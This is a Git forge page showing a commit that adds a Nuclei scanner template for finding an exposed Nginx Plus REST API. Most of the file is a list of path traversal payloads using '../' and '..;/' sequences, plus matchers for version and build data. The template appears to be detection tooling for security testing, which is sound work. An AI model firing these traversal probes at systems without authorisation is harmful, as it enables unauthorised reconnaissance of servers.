daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Create nginx-api-traversal.yaml

patch-11
Dhiyaneshwaran 2024-09-06 17:32:06 +05:30 committed by GitHub
parent 0b3cc3ad70
commit 65e0faba06
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 104 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

104
http/misconfiguration/nginx/nginx-api-traversal.yaml Normal file
View File

@ -0,0 +1,104 @@
id: nginx-api-traversal
info:
name: Nginx Plus Rest API - Traversal
author: encodedguy
severity: high
description: |
Access to Nginx Plus Rest API was discovered.
reference:
- https://nginx.org/en/docs/http/ngx_http_api_module.html
- https://x.com/akshaysharma71/status/1825815869953552844
metadata:
verified: true
tags: nginx,fuzz,misconfig,lfi
http:
- method: GET
path:
- "{{BaseURL}}{{paths}}"
payloads:
paths:
- "/api/1/nginx"
- "/api/2/nginx"
- "/api/3/nginx"
- "/api/5/nginx"
- "/api/9/nginx"
- "/../../../../../../api/1/nginx"
- "/../../../../../../api/2/nginx"
- "/../../../../../../api/3/nginx"
- "/../../../../../../api/5/nginx"
- "/../../../../../../api/9/nginx"
- "/../../../../../api/1/nginx"
- "/../../../../../api/2/nginx"
- "/../../../../../api/3/nginx"
- "/../../../../../api/5/nginx"
- "/../../../../../api/9/nginx"
- "/../../../../api/1/nginx"
- "/../../../../api/2/nginx"
- "/../../../../api/3/nginx"
- "/../../../../api/5/nginx"
- "/../../../../api/9/nginx"
- "/../../../api/1/nginx"
- "/../../../api/2/nginx"
- "/../../../api/3/nginx"
- "/../../../api/5/nginx"
- "/../../../api/9/nginx"
- "/../../api/1/nginx"
- "/../../api/2/nginx"
- "/../../api/3/nginx"
- "/../../api/5/nginx"
- "/../../api/9/nginx"
- "/../api/1/nginx"
- "/../api/2/nginx"
- "/../api/3/nginx"
- "/../api/5/nginx"
- "/../api/9/nginx"
- "/..;/..;/..;/..;/..;/..;/api/1/nginx"
- "/..;/..;/..;/..;/..;/..;/api/2/nginx"
- "/..;/..;/..;/..;/..;/..;/api/3/nginx"
- "/..;/..;/..;/..;/..;/..;/api/5/nginx"
- "/..;/..;/..;/..;/..;/..;/api/9/nginx"
- "/..;/..;/..;/..;/..;/api/1/nginx"
- "/..;/..;/..;/..;/..;/api/2/nginx"
- "/..;/..;/..;/..;/..;/api/3/nginx"
- "/..;/..;/..;/..;/..;/api/5/nginx"
- "/..;/..;/..;/..;/..;/api/9/nginx"
- "/..;/..;/..;/..;/api/1/nginx"
- "/..;/..;/..;/..;/api/2/nginx"
- "/..;/..;/..;/..;/api/3/nginx"
- "/..;/..;/..;/..;/api/5/nginx"
- "/..;/..;/..;/..;/api/9/nginx"
- "/..;/..;/..;/api/1/nginx"
- "/..;/..;/..;/api/2/nginx"
- "/..;/..;/..;/api/3/nginx"
- "/..;/..;/..;/api/5/nginx"
- "/..;/..;/..;/api/9/nginx"
- "/..;/..;/api/1/nginx"
- "/..;/..;/api/2/nginx"
- "/..;/..;/api/3/nginx"
- "/..;/..;/api/5/nginx"
- "/..;/..;/api/9/nginx"
- "/..;/api/1/nginx"
- "/..;/api/2/nginx"
- "/..;/api/3/nginx"
- "/..;/api/5/nginx"
- "/..;/api/9/nginx"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- "version"
- "build"
- "address"
- "load_timestamp"
- "timestamp"
condition: and
- type: status
status:
- 200